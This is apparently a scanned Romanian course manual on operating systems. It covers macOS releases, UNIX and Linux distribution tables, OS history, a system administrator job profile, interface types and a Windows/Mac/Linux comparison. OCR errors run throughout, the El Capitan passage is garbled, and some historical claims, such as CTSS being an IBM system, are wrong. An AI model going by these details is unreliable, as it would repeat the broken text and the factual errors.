2011. Safari are o noud functie Reading List function; gesturi
multitouch, caracteristici imbunatatite de confidentialitate, suport
pentru CSS 3 si de elemente JavaScript impreund cu formatul textul
WOFF. Centralizeaza managementul de conturi in panoul de din
System Preferences care permite addugarea si sa gestionarea
conturilor de Gmail, Exchange, MobileMe, Gmail, Yahoo!, AOL si
icloud. Aplicatiile care acceptd modul ecran complet sunt Safari 5,
Terminal, Quick Look si Mail. Mac OS X Lion poate fi instalat pe
masini virtuale (VM) precum cele create de Parallels Desktop si
VMware Fusion, o capacitate anterior limitata la Mac OS X Lion
Server.

Mac OS X v10.8
Mountain Lion

A fost lansat pe 25 iulie 2012. Functia Dictation recunoastere vocile
oamenilor si diferentiaza limba engleza in functie de dialectele
folosite american, Marea Britanie si vorbitori de australian. Se
poate, de asemenea, detecta automat limba franceza, germana si
japoneza. Mountain Lion ofera caracteristici pentru chinezi suport
pentru pentru Safari ca o optiune pentru motorul de cautare Baidu,
furnizorilor de e-mail Mail QQ, 126 si 163, optiuni de partajare
Sina Weibo, Youku si Tudou sunt integrare in meniul Share.Pinyin
include corectia automata si ofera capacitatea de a se amesteca
limba engleza si cea chineza in acelasi corp de text si suport pentru
scrierea de mana aproape 30.000 de caractere chinezesti.

Acces rapid la Mail, Contacte si sectiunea Calendar in panoul de
System Preferences permite conectarea la retelele sociale, Twitter,
Flickr, Facebook si Vimeo.

Mountain Lion iCloud permite utilizatorilor stocarea documentelor
pe serverele Apple si accesarea de dispozitivele i0OS sau Mac.
Aplicatiile Built-in Preview (Previzionare) si TextEdit suporta
acum documentele in Cloud. Apple a lansat noile versiuni ale
aplicatiilor sale iWork (Pages, Numbers, Keynote) care sprijind
documente in Cloud.

Notification Center este caracteristica Mountain Lion. Seamna unul
din iOS 5, acesta va tine la curent cu alerte despre iMessages
primite, e-mailuri si intdmplari. Daca nu faceti clic pe o alerta
notificarea este mutata intr-o lista de out-of-view pentru a raspunde
mai tarziu.

Mac OS X v10.9
Mavericks

OS X Mavericks a fost anuntat pe 10 iunie 2013 la WWDC 2013. A
fost lansat pe 22 octombrie 2013 are o serie de imbunatatiri inclusiv
un sistem mai robust de notificare, suport imbunatatit pentru mai

multe monitoare si aplicatii full screen, Finder modernizat si iCloud

Keychain pentru salvarea parolelor.

Mac OS X v10.10
Yosemite

A fost lansat pe 16 noiembrie 2014. Permite utilizatorilor de iPhone
care ruleaza 10S 8 sau o versiune mai noud permite rdspunderea la
apeluri telefonice, primirea si trimiterea mesajelor SMS, e-mailuri.

Mac OS X v10.11
El Capitan

OS X El Capitan a fost anuntat la 8§ iunie, 2015 la WWDC 2015, la
prezentarea schitei de design din compania Epic Games, lansat
pentru i0S 1n 2014. Tim Cook a remarcat faptul ca ideea principala
a noului sistem de operare este adaugarea de multe caracteristici noi
si performante Tmbundtétite in fiecare sistem de operare: OS X, i0OS
s1 WatchOS.
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Mac OS X v10.12 Sierra a fost anuntat la 13 iunie 2016 la WWDC 2016. Accentul in
Sierra aceasta versiune de actualizare a sistemului de operare X este facut
pe caracteristicile Continuity, iCloud si modernizarea mediului de
lucru. La prezentarea WWDC 2016 CEO-ul Apple Tim Cook, a
prezentat si a subliniat principalele actualizari: watchOS, tvOS,
MacQS, 10S si apoi numit sursa iOS 10 din toate inovatiile de la
Apple pentru sistemul de operare.
WWDC 2016 si a anuntat ca OS X este redenumit in MacOS,
pentru a se potrivi cu stilul general de numire a altor platforme
Apple: tvOS, watchOS, 108, si urmatoarea versiune a sistemului va
purta numele de Mac OS, si Sierra - numele traditional in onoarea
sistemului muntos Cordillera, situat in California.

Scurta descriere a unor distributii UNIX existente pe PC-uri:

si multitasking. Fiecare distributie de astazi se bazeaza pe una din aceste ramuri, dar a preluat si
anumite caracteristici de la celelalte.
Principalele tipuri de distributii UNIX aflate in productie la ora actuald sunt acestea:

Denumirea Descrierea

Solaris Produs de firma Sun Microsystems. Este distribuit atat in versiune
closed-source cat si in versiune open sourcenumita Open Solaris.
Ruleaza pe arhitectura SPARC, x86 si x86-64.

HP-UX Produs de firma HP. Ruleaza pe arhitectura PA-RISC si IA-64
AlIX Produs de firma IBM. Ruleaza pe arhitectura PowerPC si POWER
IRIX Produs de firma SGI. Ruleaza pe arhitectura MIPS

MacOS X Produs de compania Apple pentru calculatoarele Macintosh. Este

software comercial, bazat pe o combinatie de Free BSD, nucleul
Mach si tehnologii specifice Apple. Ruleaza pe arhitectura
PowerPC si x86.

GNU/Linux Produs de multiple organizatii intr-o gama larga de distributii,
open-source in baza licentei GPL (licenta) si disponibil gratuit.
Ruleaza pe diverse arhitecturi, incluzand x86, x86-64, |1A-64,
PowerPC, MIPS, PlayStation 2.

Dintre distributiile Linux cele mai importante amintim: Debian
GNUY/Linux, Fedora, Gentoo, Knoppix, Mandriva Linux, Red Hat
Linux, Slackware, SuSE Linux si Ubuntu Linux.

BSD Astazi open-source, si disponibil in trei distributii principale:
FreeBSD, NetBSD si OpenBSD. NetBSD ruleaza pe 54 de
arhitecturi diferite, fiind portat inclusiv pe un microcontroller care
controla un prajitor de paine.

Scurti descriere a unor distributii LINUX existente pe PC-uri:

O distributie GNU/Linux este un sistem de operare construit din nucleul Linux si o serie de
pachete asortate, precum Sistemul de Ferestre X si software din proiectul GNU.

Pentru ca nucleul si pachetele software sunt in mare parte (dacd nu in intregime) software
free, distributiile Linux exista intr-o mare varietate de forme, de la distributiile pentru desktopuri
complete si servere, si pand la sistemele de operare minimale ce ruleaza pe dispozitive embedded
(inglobate).
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In 2007 existau peste 300 de distributii Linux care erau dezvoltate activ. Distributiile pot intra
in doua categorii: cele sustinute de firme, de exemplu Fedora (Red Hat), SUSE Linux (Novell),
Ubuntu (Canonical Ltd.) si Mandriva Linux, precum si distributiile dezvoltate de comunitati,
precum Debian si Gentoo.

Distributii bazate pe Debian

Boss

Distributie bazata pe Debian cu mediu Gnome Desktop in limba indiana, in
mare pachetele sunt pentru domeniul guvernamental.

DeveLinux

O mica distributie Live CD pentru dezvoltatori, studenti si profesori, bazata
pe un snapshot Debian.

Elive

Un LiveCD si o distributie folosind Enlightenment ca unic window
manager. Are ca {inta intuitivitatea si utilizarea facila.

Finnix

O mica distributie LiveCD pentru administrare de sistem, disponibila
pentru mai multe arhitecturi.

Freespire

O distributie care poate fi rulatd direct de pe CD in modul "live" sau
folosita pentru instalare pe un hard disk. Doua versiuni sunt disponibile,
inclusiv una care contine drivere, codecuri si aplicatii care implementeaza
suport pentru MP3, Windows Media, Java, Flash, QuickTime, Real samd.

GenieOS

Un CD care ajuta utilizatorii noi sa instaleze un desktop Debian standard,
impreuna cu plugin-uri third-party comune care nu sunt distribuite prin
pachetele oficiale Debian package(DVD player, Flash, Sun's Java,

si MPlayer). Include desktopurile GNOME sau KDE. Cunoscut anterior
sub numeleDebian Pure, dar redenumit la solicitarea dezvoltatorilor Debian
pentru a evita confuzia. Vezi track record si homepage.

Gnoppix

O versiune a distributiei Knoppix care foloseste GNOME ca si desktop.
Aceasta distributie este bazata in prezent pe arhitectura LiveCD folosita
pentru Ubuntu.

Ubuntu

Distributie sponsorizata de Canonical Ltd. si de sud-africanul Mark
Shuttleworth. Uses its own package repositories seeded from snapshots of
Debian Unstable taken at six-month intervals. Scopul acestei distributii este
de a oferi un desktop complet si finisat pe un singur CD.

Xandros Open

Are la baza Xandros 3.0 Standard Edition,singurele diferente fiind

Circulation incapacitatea de a scrie DVD-uri si scrierea CD-urilor limitata la o viteza
Edition maxima 4X.
Zen Linux Un LiveCD. Desktopurile disponibile sunt GNOME si KDE.
Distributii bazate pe Ubuntu
Kubuntu Versiune Ubuntu ce foloseste implicit ca interfata utilizator mediul
desktop KDE.
Xubuntu Versiune Ubuntu ce foloseste implicit ca interfata utilizator mediul
desktop Xfce.
gNewSense Un sistem de operare complet liber.
andLinux Distributie care ruleaza nativ sub Microsoft Windows.
Linux Mint Distributie derivata din Debian-Ubuntu, cu toate codec-urile si plugin-urile
necesare deja incluse.
Trisquel Distributie derivata din Debian-Ubuntu complet libera.
Zorin OS Distributie derivata din Debian-Ubuntu aproape libera si poate sa arate ca
Windows XP/Windows 7/Unity
Distributii bazate pe Gentoo
\ BinToo \ O distributie ce contine un numdr mare de programe de calculator pre-
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Profesor: ANDRIAN DASCAL

instalate pentru utilizatorii ce nu au o conexiune permanenta la Internet.

Gentoo O distributie pentru entuziasti si profesionisti deopotriva, ce are propriul
sistem de gestiune a pachetelor, denumit Portage. Implicit, aplicatiile sunt
compilate din codul sursa pe sistemul utilizatorului, in loc sa fie distribuite
sub forma de pachete binare pre-compilate.

Gentoox O adaptare a Gentoo pentru Xbox.

Kororaa O distributie ce oferd o metodd usoara de instalare a sistemului Gentoo cu

ajutorul unor scripturi de instalare in locul unei configurari manuale.
Kororaa a atras repede atentia in Martie 2006, cand a devenit primul CD
Live disponibil ce utiliza Xgl pentru grafica.

Knopperdisk

O distributie noud menitad doar pentru stickuri USB.

Medeix O distributie bazata pe ideea unui singur PC bazat pe numeroase
calculatoare interconectate. Foloseste distcc pentru a reduce in mare
masura timpul de compilare in retea.

Navyn OS O distributie pe CD Live. Cele mai multe aplicatii din Navyn OS consuma
foarte putine resurse.

Pentoo Distributie pe CD Live pentru teste de securitate prin simularea de atacuri.

Sabayon Linux

Sabayon Linux este un DVD Live distribuit initial sub numele de "RR4
Linux" (pe 32 de biti) si "RR64 Linux" (pe 64 de biti), incepand cu 18
Martie 2006. Include un numar mare de medii pentru desktop si aplicatii
open-source. La fel ca Knoppix, Sabayon Linux poate fi instalat pe hard
drive (discul fix).

Distributii bazate pe Red Hat Enterprise

Asianux A distribution co-developed between Red Flag Software Co., Ltd., Miracle
Linux Corp. and Haansoft, INC., focused on Chinese, Japanese and Korean
supports based upon Red Hat Enterprise Linux.

Cent OS Community supported distribution which aims to be 100% compatible with
Red Hat Enterprise Linux without Red Hat branding and various non-free
software

GEN OS Generating ENterprise Operating Systems to be 100% binary-compatible
with Red Hat Enterprise Linux.

GnYOQOU linux Emphasising whos important while creating 100% binary-compatible
operating systems.

Pie Box Pie Box Enterprise Linux aims to be 100% binary compatible with Red Hat

Enterprise Linux

Enterprise Linux by introducing minimal changes to the upstream
packages. See homepage

Scientific Linux

A distribution solely recompiled from the Red Hat Enterprise Linux source
distributed under GPL.

White Box A distribution designed to be 100% binary-compatible with Red Hat
Enterprise Linux | Enterprise Linux.
YOUr OS YOUr Operating System or YOUr Own System - 100% binary-compatible

with Red Hat Enterprise Linux.
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2. Caracteristicile tehnico-economice ale sistemelor de operare.

Fisa de post a administratorului de SO. Echipamentele
necesare pentru instalarea unui SO.

Obiective:

1. Prezentarea si compararea SO;
2. Identificarea obligatiunilor administratorului de SO;
3. Relatarea despre obligatiunile administratorului de SO.

Un sistem de calcul nu poate sa prelucreze date fara sa fie programat. Un program este o
colectie de instructiuni prin care i se cere calculatorului sa rezolve o anumita problema.
Componenta software a unui calculator este un ansamblu de programe.

Un SO este:

¢+ modular, adicad format din entitati cu roluri bine definite (este constituit din proceduri)

«¢+ ierarhizat, adica o entitate poate folosi componente de nivel inferior ei (de exemplu, partea de
servicii poate folosi partea de control)

¢+ portabil, adica efortul de a trece sistemul de operare de pe un calculator pe altul este mic (mai
mic decit cel de a-l rescrie). Sistemele de operare CP/M, MS-DOS, UNIX sunt portabile, pe
cind sistemele de operare ale minicalculatoarelor (RSX, de exemplu) nu erau portabile.

2.1 Caracteristicile tehnico-economice ale SO.

Caracteristica 1: Primele sisteme de calcul nu aveau sistem de operare: de la consola se lucra
direct in limbaj masind. Ulterior apar primele produse soft si primele dispozitive periferice:
cititorul de cartele, imprimanta, unitatea de bandd magnetica. Legatura dintre un periferic si
memoria, impreund cu procesorul central, se realizeaza din punctul de vedere al SO prin rutine
(proceduri) de interfatd numite drivere. Fiecare faza necesara pentru executia programelor
presupunea interventia operatorului uman (citirea cartelelor, incarcarea programului in memorie
si lansarea lui in executie), ceea ce ducea la utilizarea ineficienta a sistemului de calcul si la 0
viteza de calcul redusa. Se pune astfel problema inlantuirii automate a fazelor prin care trece un
program (numit job) pentru a fi executat si @ mai multor programe executate consecutiv.

Caracteristica 2: Sistemele seriale cu monoprogramare introduc inlantuirea automata a fazelor si
job-urilor, adica inlantuirea automata a programelor unul dupa altul iar in cadrul unui program, a
fazelor - una dupa alta. Aceste operatii sunt realizate de un program numit monitor de inlantuire,
care se depune in memorie (devine rezident in memorie) si este activat de cartele speciale de
comanda care contin comenzile: compile, link, run (pentru compilare, editare de legaturi,
respectiv executie).

Caracteristica 3: Sistemele seriale cu multiprogramare introduc conceptul de multiprogramare si
canalul de intrare-iesire ca procesor specializat in operatii de intrare-iesire (generatia a doua de
calculatoare). Activitatea sa este lansata de procesorul central, dupa care pot executa operatii
independent de acesta (si in acelasii timp). La terminarea operatiei de intrare-iesire, canalul
trimite catre procesorul central un semnal (intrerupere), anuntind terminarea operatiei. Canalul
poate fi selector, daca la un moment dat lucreaza cu un singur periferic (adecvat pentru
perifericele rapide, care prelucreaza suporturi magnetice) sau multiplexor, daca poate lucra
simultan cu mai multe periferice (de exemplu, USM - unitatea de schimburi multiple). Sistemele
seriale cu multiprogramare introduc citeva tehnici speciale de exploatare a procesorului. Cea mai
cunoscuta dintre acestea este multiprogramarea, care presupune gestionarea mai multor
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programe aflate in memoria interna. Acestea se gasesc in stari diferite: unul se executa, iar
celelalte pot fi pregatite pentru executie sau pot astepta terminarea unei operatii de intrare-iesire.
Un SO cu multiprogramare trebuie sa aiba un sistem de intreruperi, sa gestioneze, sa aloce, sa
protejeze resursele (memorie, periferice, timp, fisiere) intre utilizatori si sa implementeze o
disciplina de servire prin care sa se decida care program trece in stare de executie (in acest sens,
se poate utiliza un sistem de prioritati sau pur si simplu, se poate adopta o servire circulara
simpld). Un program aflat pe un suport cu viteza mica de acces va suferi o conversie de intrare,
prin care se va depune pe un suport cu acces mai rapid si de aici va fi depus in memorie.

Analog, la extragerea sa din sistem, asupra sa se poate efectua o conversie de iesire (acestea sunt
caracteristicile unei tehnici numite spooling).

Caracteristica 4: Sistemele interactive permit comunicarea permanentd intre utilizator si
sistemul de calcul prin consola sau terminale. Ele sunt evident mai avantajoase decat sistemele
anterioare, la care numai corectarea catorva greseli de sintaxa putea dura cateva zile in care
programul pe cartele sd fie introdus in loturi succesive de programe; in urma consultarii
listingului cu rezultate se puteau face corecturile, dupa care programul pe cartele sa fie din nou
dat spre executie etc. In functie de rezultatul comenzii / fazei precedente, utilizatorul va decide
ce comanda sa dea sau ce faza sa urmeze. Spre deosebire de sistemele seriale, sistemele
interactive au un timp de raspuns bun. In general, aceste sisteme contin editoare de texte pentru
corectarea programelor sursa si depanatoare interactive. Sistemele interactive pot fi:
monoutilizator (microcalculatoarele) sau multiutilizator (minicalculatoarele). Ultimele au
introdus modul de lucru numit time-sharing, care combina interactivitatea cu multiprogramarea
si prin intermediul caruia sistemul comuta intre programele tuturor utilizatorilor care urmeaza a
fi executate, deci carora li se va aloca procesorul, adoptand uzual o servire circulara. Cand
numarul de utilizatori nu este prea mare, fiecare utilizator este servit cel putin o data intr-un timp
scurt, ceea ce poate crea utilizatorilor impresia ca sunt unicii beneficiari ai resurselor de calcul.
Primul sistem time-sharing a fost creat in 1965 de firma IBM si s-a numit CTSS (Control Time
Sharing System); el a fost urmat de MULTICS, aparut in 1968 la MIT. Aceste sisteme stau la
baza cunoscutului sistem UNIX, care a aparut in 1971-1978 si s-a dezvoltat, fiind azi cel mai
folosit SO pentru calculatoare interconectate. Un alt mod de lucru aparut la sistemele interactive
este pipe-line (folosit initial de UNIX si ulterior preluat de DOS). Urmarind principiul ca orice
program lansat (de la un terminal) are o intrare standard (de obicei tastatura) si o iesire standard
(de obicei ecranul), tehnica pipe-line presupune conectarea iesirii standard a unui program la
intrarea standard a altui program (prin intermediul unor zone de memorie tampon). In evolutia
sistemelor interactive se poate remarca trecerea de la sisteme de operare la nivel de comanda
(UNIX, DOS) la sisteme cu interfata vizuala de tip Windows, mult mai accesibile pentru
utilizatori.

Caracteristica 5: Sistemele in timp real sunt folosite pentru conducerea directa, interactiva, a
unui proces tehnologic sau a altei aplicatii (de exemplu, un sistem de rezervare de locuri).
Necesitatea unor asemenea sisteme se poate usor imagina in cazul analizelor medicale asistate de
calculator, a reactiilor chimice sau a unor experiente fizice (de exemplu, cazul acceleratoarelor
de particule). De la procesul controlat se transmit catre sistemul in timp real parametrii
procesului, culesi prin intermediul unor senzori, iar sistemul in timp real transmite catre proces
deciziile luate. Informatiile despre proces sunt luate in considerare in momentul comunicarii lor
iar raspunsul sistemului trebuie sa fie extrem de rapid (oportun pentru proces), deci timpii de
executie ai programelor din sistem trebuie sa fie mici.

Caracteristica 6: Sistemele paralele gestioneaza arhitecturile multiprocesor (arhitecturi paralele),
impartind sarcinile intre procesoare si controland combinarea rezultatelor generate de acestea.
Astfel, un sistem multiprocesor va avea simultan mai multe programe aflate in stare de executie.
Evident, un algoritm paralel, in care anumite calcule independente se realizeaza simultan, va fi

17



mai rapid decat algoritmul serial (uzual) corespunzator. Studiul algoritmilor paraleli este un
domeniu prolific al informaticii. Mai mult, au aparut limbaje specifice, care pot paraleliza
algoritmi seriali, pot exploata paralelismul arhitecturii sau paralelismul problemei. Pentru
majoritatea algoritmilor recent elaborati, cercetatorii sunt preocupati de gasirea unor variante
paralele.

Caracteristica 7: Sistemele distribuite sunt sistemele de operare ale retelelor de calculatoare.
Pentru retelele locale de calculatoare, cele mai utilizate sisteme de operare sunt Novell Netware
si Windows NT, in timp ce pentru retelele de arie mai larga si conectarea la Internet se folosesc
sisteme Linux.

2.2 Administrarea SO. Echipamente pentru instalarea SO.

Sistemul de operare poate fi privit din doua puncte de vedere distincte. Acestea sunt:

« Sistemul de operare ca masina extinsa. Programarea la nivelul limbajului masina este
foarte dificila, in special pentru operatiile intrare-iesire. Detaliile concrete privind modul cum
sunt realizate aceste operatii nu vor fi prezentate utilizatorului. Programul care ascunde
aceste lucruri despre hardware si prezinta o interfata simpla cu ajutorul fisierelor este
sistemul de operare. Sistemul de operare ascunde si detalii privind intreruperile, timer-ul,
administrarea memoriei si alte caracteristici de nivel jos. Din acest punct de vedere, functia
de baza a sistemului de operare este de a prezenta utilizatorului echivalentul unei masini
extinse (sau virtulale) care este mai usor de programat.

« Sistemul de operare ca administrator de resurse. Conceptul de sistem de operare ca
furnizor principal al unei interfete convenabile pentru programatori este o prezentare top-
down. O alternativa, prezentarea botton-up, tine seama de faptul ca sistemul de operare are
rolul de a administra toate componentele unui sistem complex, de a furniza 0 metoda de
alocare controlata si ordonata a procesoarelor, memoriilor, dispozitivelor periferice tuturor
programelor care le solicita.

NIVEL MEDIU:

Cunostinte de instalare, configurare si troubleshooting sisteme de operare Windows;
Cunostinte de configurare email (POP3, IMAP, EXCHANGE);

Cunostinte Hardware pentru computere si imprimante;

Cunostinte de instalare, configurare si troubleshooting pentru suita MS Office;

Cunostinte despre servicii si troubleshooting retea si protocoale;

Cunostinte de baza administrare si configurare SRVAD;

Cunostinte de setarile Mobile, sincronizari si partajari contacte/calendar intre sisteme:
Android, I0S, Symbian, Exchange, Blackberry, Outlook;

Experienta in lucrul cu: solutii stocare RAID, solutii backup, active directory, instalare
echipamente active cu management, echipamente wireless, VPN-uri;

o Capacitate buna de comunicare si relationare;

o Disponibilitatea de a lucra 1n echipa,;

O O O O O O O

o

NIVEL AVANSAT:

Instalare, configurare si administrare SO Windows 7/ 8.1/ 10, Linux Ubuntu;

Instalare, configurare si administrare Servere Windows 2008/ 2012,

Instalare, configurare si administrare Suita MS Office si Libre/ Open Office;

Instalare, configurare si administrare statii de lucru, servere Windows, echipamente de retea;
Instalare, configurare si administrare Clienti E-mail, solutii Anti-Virus;

Instalare, configurare si administrare imprimante retea, Puncte de Acces WiFi, echipamente
NAS, UPS;

O O O O O O
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O

Instalare, configurare si administrare servicii AD/ Group Policy Management/ DNS/ DHCP/
Apache IIS/ PrintServer/ Sharepoint Services/ WSUS;

Instalare, configurare, administrare, diagnosticare si depanare hardware pc-uri si laptopuri;
Instalare, configurare si administrare infrastructuri VPN site-to-site si on-demand;

Instalare, configurare, administrare retele si echipamente periferice;

Instalare, configurare, administrare monitorizare (nagios, Cacti, Zabbix);

Experienta in realizarea automatizarilor de backup;

O O O O O

RESPONSABILITAT l:

o Verifica functionarea in parametri normali a sistemelor IT;

Asigura managementul incidentelor, troubleshooting prin sistemul de ticketing;

Intelege si urmareste politicile si procedurile IT;

Se documenteaza asupra proceselor operationale;

Efectuecaza mentenanta sistemelor de calcul bazate pe sisteme de operare din familia
Windows si a aplicatiilor care pot rula peste acestea si rezolvarea eficientd a situatiilor
software si hardware.

0O O O O

Interfata utilizator-sistem

Interfata intre utilizator si sistemul de operare se efectueaza prin intermediul unui limbaj,
numit limbaj de comanda. Natura acestui limbaj depinde de sistemul considerat. Sistemele
batch sunt dotate cu un limbaj relativ suplu si puternic, permitind utilizatorului sa specifice in
avans succesiunea prelucrarilor de realizat, tinind cont de toate alternativele posibile. Sistemele
interactive oferd interfete mai simple prin care utilizatorul poate urmari derularea job-ului sau si
decide succesiunea operatiilor pe misurid ce se prezinti situatiile posibile. In majoritatea
sistemelor actuale, modurile de lucru batch si multiacces coexista, iar limbajul de comanda este
adaptat in mod corespunzator. Tendinta actuald este de a simplifica sarcina utilizatorului,
propunindu-i un repertoar de comenzi usor de utilizat. Aceste comenzi se exprima sub forma
cuvintelor cheie (Login, Logout, Edit, Fortran, Run, File, Copy, Help etc.), urmate de anumiti
parametri. Este de asemenea normala procedura de lucru prin care se realizeaza prescurtarea
comenzilor (de exemplu, fl in loc de file list) sau regruparea acestora in fisiere executabile, un
fel de macro-comenzi, de exemplu, se poate inlocui secventa Compile, Link, Load, Run prin
procedura Execute.

Directivele pe care utilizatorul le furnizeaza sistemului cu ajutorul limbajului de comanda
sunt interpretate de catre interpretorul de comenzi (command interpreter). Acesta citeste
comenzile provenind de la terminal si dupa interpretarea acestora realizeaza serviciile solicitate.
Datorita dialogului, sistemul trebuie sd semnaleze faptul cd el “ascultd® si este gata sa primeasca
instructiunile utilizatorului, rdspunzind comenzilor si comunicind disponibilitatea sa prin afisarea
pe ecran a unui caracter special (prompt), invitind utilizatorul de a formula noi cereri. Comenzile
trimise catre sistem sunt o forma de cereri la supervizor (sistem calls), cu deosebirea ca, in loc sa
provind dintr-un program sau dintr-o procedurd de biblioteca, aceste comenzi sunt comunicate
direct sistemului de cétre utilizator.

Majoritatea limbajelor de comanda reflecta structura interna a sistemului de operare, neputind
fi schimbate decit cu mare greutate. Totusi, in cazul sistemului Unix, interpretorul de comenzi,
numit shell, poate fi modificat sau chiar inlocuit de catre utilizator, care poate sa comunice astfel
cu sistemul intr-un limbaj convenabil ales. Shell-ul interpreteaza comenzile provenind de la un
terminal sau de la un fisier (shell script) si poseda structuri de control puternice, permitind
execufia conditionata sau repetata a unei succesiuni de comenzi. Cu abordarea shell, este usor de
a combina proceduri existente si diverse elemente de programare; adesea se utilizeaza shell-ul
pentru a se evita scrierea de noi programe.
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Interfata utilizator grafica

Pina la debutul anilor 80, toate interfetele utilizator erau bazate pe limbaje de comanda ca
shell-ul sistemului Unix. Pentru fiecare actiune de efectuat, utilizatorul trebuia sa cunoasca si sa
tasteze numele comenzii. In laboratoarele Xerox Park, a fost elaborat un nou tip de interfata, si
anume interfata grafica (GUI: Graphical User Interface), bazata pe utilizarea unui ecran grafic in
locul unui ecran alfanumeric. Au aparut noi concepte, principalele fiind acelea de ferestre,
pictograme, meniuri care defileaza, mouse etc. Acest tip de interfatd a devenit la moda prin
intermediul familiei Macintosh elaborata de firma Apple. La ora actuald, majoritatea sistemelor
de calcul utilizeaza interfete utilizator grafice. Introducerea grafismului in interfetele utilizator a
revolutionat lumea informaticii, in principal prin aceea ca permite publicului larg sa utilizeze
calculatoarele prin imagine, fara a cunoaste un jargon specific. Dupa revolutia imaginii se
estimeaza ca va veni revolutia sunetului, recunoasterea vocala din cadrul interfetelor om-masina.

Tabelul urmator prezinta, comparativ, caracteristicile interfetelor cu utilizatorul.

Interfata in linie de comanda

Interfata grafica

Avantaje: Avantaje:

- Permite scrierea clara si explicita
a comenzilor, cu toti parametrii
bine definiti

- Ofera flexibilitate 1n utilizare

- Comunicarea cu sistemul de
operare se face rapid si eficient

Este intuitiva si usor de folosit

Poate fi utilizata si de catre neprofesionisti
Creeaza un mediu de lucru ordonat
Permite crearea si utilizarea de aplicatii de
complexe, precum si integrarea acestora in
medii de lucru unitare

Dezavantaje: Dezavantaje:

- Operatorul trebuie sa cunoasca
bine comenzile si efectele lor

- Este mai greu de utilizat de cétre
neprofesionisti

Anumite operatii legate, de exemplu, de
configurarea sistemului pot sa nu fie
accesibile din meniurile si ferestrele
interfetei grafice

Interfata ascunde anumite detalii legate de
preluarea si executia comenzilor

Foloseste mai multe resurse si este mai putin
flexibila decat interfata in linie de comanda

Diferenta dintre Windows OS, Mac OS si Linux OS

Windows-ul este cel mai cunoscut sistem de operare. Lansandu-se in anul 1985, acesta se
gaseste pe majoritatea calculatoarelor din intreaga lume: cladiri de birouri, cladiri comerciale,

scoli s.a.m.d.

Pozitive

Negative

1. Cam orice aplicatie poate functiona pe
Windows, aproape orice, dar fata de

Mac OS si Linux se descurca mai bine.

2. Avand un numar mare de utilizatori
suportul tehnic pentru Windows este
mai usor de gasit, dar nici Mac OS si
Linux nu sunt foarte in urma.

3. O mare cantitate de functii. Cand vei
cunoaste acest sistem de operare vei
observa cate lucruri poate face.

1. Fiind cel mai popular sistem de
operare, acesta este si cel mai atacat
existand o multime de virusi si aplicatii
malware.

2. Windows, in special Vista si 7, necesita
o multime de resurse(memorie,
procesor, spatiu pe hard disk)
incetinind astfel calculatorul.

3. Pretul: o versiune poate costa cel putin
100$.
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Mac OS-ul este primul SO grafic adica care utilizeaza GUI (Graphic User Interface). Lucru pe
care s-ar putea sa nu stiti ¢ faptul ca acest SO este mai ,,batran” cu un an decat Windows.

Pozitive

Negative

1. Nu prea exista virusi pentru Mac OS,
asta deoarece este mai putin cautat
decat Windows.

2. Daca vrei sa rulezi Mac OS trebuie sa
ai un calculator Apple, ceea ce
inseamna ca erorile de soft sau hard
aproape sa nu existe.

3. Un Mac arata mai bine decat un
calculator normal.

Este destul de scump, costand mai mult
decat Windows.

Poate sa functioneze doar pe
calculatoarele Apple. Pretul unui Apple
este destul de mare.

Chiar daca este un sistem de operare
destul de puternic, Mac OS nu este
compatibil cu majoritatea jocurilor sau
chiar unele aplicatii.

Linux este un sistem de operare tanar, aparut in 1991 si..

. este GRATIS.

Pozitive

Negative

1. Este gratis. Il poti descarca, instala,
modifica, deci orice vrei tu.

2. Linux fiind un kernel, nu un SO, apar
nenumarate versiuni (Ubuntu, CentOS,
Fedora, Debian) mai des decat apar
versiuni de Windows sau Mac OS.

3. Este aproape imun la virusi, dar fiind
open-source exista totusi riscuri.

Linux este mai complicat decat
Windows sau Mac OS, necesitand un
bagaj de cunostinte mai mare ca sa il
folosesti la capacitate maxima.

Exista probleme de compatibilitate
pentru aplicatii dar intotdeauna exista o
alternativa la orice aplicatie.

Nu vei gasi prea multi vanzatori de

calculatoare bazate pe Linux. Solutia
este sa iti achizitionezi un calculator
pentru Windows, sa ii formatezi hard-
disk-ul si apoi sa instalezi Linux de
unul singur.

Concluzie: Cine doreste sa foloseasca calculatorul pentru jocuri, muzica, vizionat un film isi va
instala Windows, un inginer de sunet sau un editor video va folosi Mac OS datorita suportului in
acest domeniu, iar Linux este pentru cei ce realizeaza programe (pentru cei ce ,,codeaza”).

Managere de fisiere.

Din diverse motive, majoritatea utilizatorilor folosesc ca manager de fisiere ceea ce le ofera
Windows-ul. Adica Windows Explorer. Operatiuni uzuale, precum copierea, stergerea sau
mutarea fisierelor sunt functiile de baza ale unui manager de fisiere. Doar cd unele managere de
fisiere sunt (mult) mai bune ca altele. Daca Windows Explorer ar fi un manager de fisiere foarte
bun, nu ar mai exista att de multe alternative. Din pacate, sau din fericire pentru unii, Windows
Explorer nu este nici pe departe un manager de fisiere stralucit.

Windows Explorer poate fi placul utilizatorilor care nu se simt in largul lor in domeniul
calculatoarelor pentru ca este foarte usor de folosit. Pe de altd parte, utilizatorii avansati au
nevoie de un program cu mai multe facilitati, care sa Insemne si mai putin timp alocat
operatiunilor realizate. Pentru acestia din urma existd numeroase alternative la Windows
Explorer, alternative care aduc un plus important de functionalitate. Iata, in cele ce urmeaza,
cinci dintre cele mai bune managere de fisiere pe care le poti folosi in locul lui Windows
Explorer.

Total Commander este un manager de fisiere care nu mai are nevoie de nici O
prezentare. Este, din punctul multora de vedere, cel mai bun. Functiile amintite la celelalte
programe se regasesc $i in Total Commander. Dincolo de functiile standard, functionalitatea
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acestuia poate extinsd mult peste granitele standard. Iar asta se face cu ajutorul plugin-urilor.
Daca veti cauta pe internet o descriere pentru Total Commander, cel mai adesea veti gasi ca este
un manager de fisiere. Desigur, aceasta descriere este una simplista, caci dupa cum veti vedea, el
poate face mult mai mult decat atat. Pentru a instala acest program aveti la dispozitie o mulfime
de site-uri de unde puteti downloada kit-ul de instalare. Daca dati un search pe Google, "Total
Commander Download", veti vedea cat de popular este acest program si din cate locuri puteti sa-
1 luati. Eu va recomand site-ul www.ghisler.com - site-ul oficial al celor care au realizat Total
Commander. Aici veti gasi si o multime de addon-uri - mici adaugiri la programul initial - care
va vor face lucrul si mai usor. Kit-ul de instalare al Total Commander are o dimensiune de 2,05
MB, deci chiar si cei cu o conexiune la internet nu foarte rapida il vor putea descarca intr-un
timp rezonabil. Intregul program instalat ocupi si el foarte putin spatiu - aproximativ 4 MB.
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1. Dupa ce ati descarcat kit-ul de instalare, tot ce trebuie sa faceti este sa dati un dublu click si
